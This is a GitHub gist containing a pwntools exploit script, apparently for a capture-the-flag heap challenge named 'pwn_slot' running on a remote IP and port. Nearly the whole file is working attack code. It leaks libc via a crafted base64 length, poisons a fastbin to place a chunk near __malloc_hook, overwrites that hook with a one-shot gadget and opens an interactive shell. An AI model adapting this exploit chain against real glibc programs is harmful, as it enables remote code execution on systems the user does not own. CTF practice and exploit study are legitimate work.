Created
November 17, 2020 22:59
-
-
Save pqlx/71d2541ece9e3fe18a495ef0becc4a88 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from base64 import b64encode as be, b64decode as bd | |
context.terminal = ["sn"] | |
BINARY_NAME = "./pwn_slot" | |
LIBC_NAME = "./libc.so" | |
REMOTE = ("34.107.41.169", 32674) | |
context.binary = BINARY_NAME | |
binary = context.binary | |
libc = ELF(LIBC_NAME) | |
EXEC_STR = [binary.path] | |
PIE_ENABLED = binary.pie | |
gdbscript = \ | |
""" | |
# invalid choice branch | |
pie b *0xf5c | |
""" | |
def handle(): | |
env = {"LD_PRELOAD": libc.path} | |
if args.REMOTE: | |
return remote(*REMOTE) | |
elif args.LOCAL: | |
p = process(EXEC_STR, env=env) | |
else: | |
error("No argument supplied.\nUsage: python exploit.py (REMOTE|LOCAL) [GDB] [STRACE]") | |
if args.GDB: | |
gdb.attach(p, gdbscript) | |
if args.STRACE: | |
subprocess.Popen([*context.terminal, f"strace -p {p.pid};cat"]) | |
input("Waiting for enter..") | |
print(p.pid) | |
input("enter..") | |
return p | |
def recvmenu(l): | |
return l.recvuntil("> ") | |
def create_note(l, data, size=-1): | |
if size == -1: | |
size = len(data) | |
recvmenu(l) | |
l.sendline('1') | |
l.recvuntil("\nuUing slot ") | |
index = int(l.recvuntil('\n', drop=True)) | |
l.sendlineafter("size: ", str(size)) | |
l.sendafter("data: ", data) | |
l.recvuntil("Chunk created successfully.", timeout=5) | |
success(f"Created note w/ index: {index}") | |
time.sleep(0.5) | |
return index | |
def fetch_note(l, index): | |
recvmenu(l) | |
l.sendline("3") | |
l.sendlineafter("idx: ", str(index)) | |
l.recvuntil('\ndata: ') | |
return l.recvuntil('\n1. create', drop=True) | |
def delete_note(l, index): | |
recvmenu(l) | |
l.sendline("2") | |
l.sendlineafter("idx: ", str(index)) | |
l.recvuntil("Chunk deleted successfully.\n") | |
success(f"Deleted note w/ index: {index}") | |
time.sleep(0.5) | |
def edit_note(l, index, data, size=-1): | |
if size == -1: | |
size = len(data) | |
recvmenu(l) | |
l.sendline("4") | |
l.sendlineafter("idx: ", str(index)) | |
l.sendlineafter("size: ", str(size)) | |
l.sendafter("data: ", data) | |
l.recvuntil("Chunk deleted successfully\n\n") | |
success(f"Edited note w/ index: {index}") | |
time.sleep(0.5) | |
def unbound_note(l, index): | |
edit_note(l, index, b'\x01') | |
def gen_b64(size): | |
assert size % 3 == 1 | |
n_x = (size - 1) // 3 | |
return "XX" + n_x * "XXXX" + "=" | |
def trigger_debug(l): | |
recvmenu(l) | |
l.sendline("99") | |
def main(): | |
l = handle() | |
create_note(l, be(b"A"*0x30)) | |
unbound_note(l, 0) | |
create_note(l, be(b"X" * 0x100)) | |
# prevent top consolidation | |
create_note(l, be(b"buffer")) | |
to_corrupt_idx = create_note(l, be(b"TO_CORRUPT")) | |
to_free_idx = create_note(l, be(0x60*b"F")) | |
create_note(l, be(b"CONSOLIDATION_GUARD")) # prevent consolidation | |
delete_note(l, 1) | |
edit_note(l, 0, gen_b64(0x40)) | |
leak = u64(fetch_note(l, 0)[-6:].ljust(8, b"\x00")) | |
libc_base = leak - 0x3c3b78 - 0x1000 | |
print(f"libc leak @ {hex(leak)}") | |
print(f"libc base @ {hex(libc_base)}") | |
delete_note(l, to_free_idx) # start fastbin corruption | |
unbound_note(l, to_corrupt_idx) | |
fake_fastbin_addr = libc_base + libc.symbols["__malloc_hook"] - 0x23 | |
print(f"Using fake fastbin address {hex(fake_fastbin_addr)}") | |
edit_note(l, to_corrupt_idx, be(b"A" * 24 + p64(0x71) + p64(fake_fastbin_addr) + b"OVERWRITTEN")) | |
create_note(l, be(b"C"*0x60)) | |
payload = 0x13*b"A" +p64(libc_base + 0xf1147) # one shot gadget | |
payload = payload.ljust(0x60, b"A") | |
create_note(l, be(payload)) # overwrite __malloc_hook | |
# meeded for the constraint dword ptr [$rsp + 0x70] = NULL of our one-shot gadget. | |
create_note(l, b"\x00"*0x200) | |
success("If all went well, a shell will appear in about 5 seconds") | |
l.interactive() | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment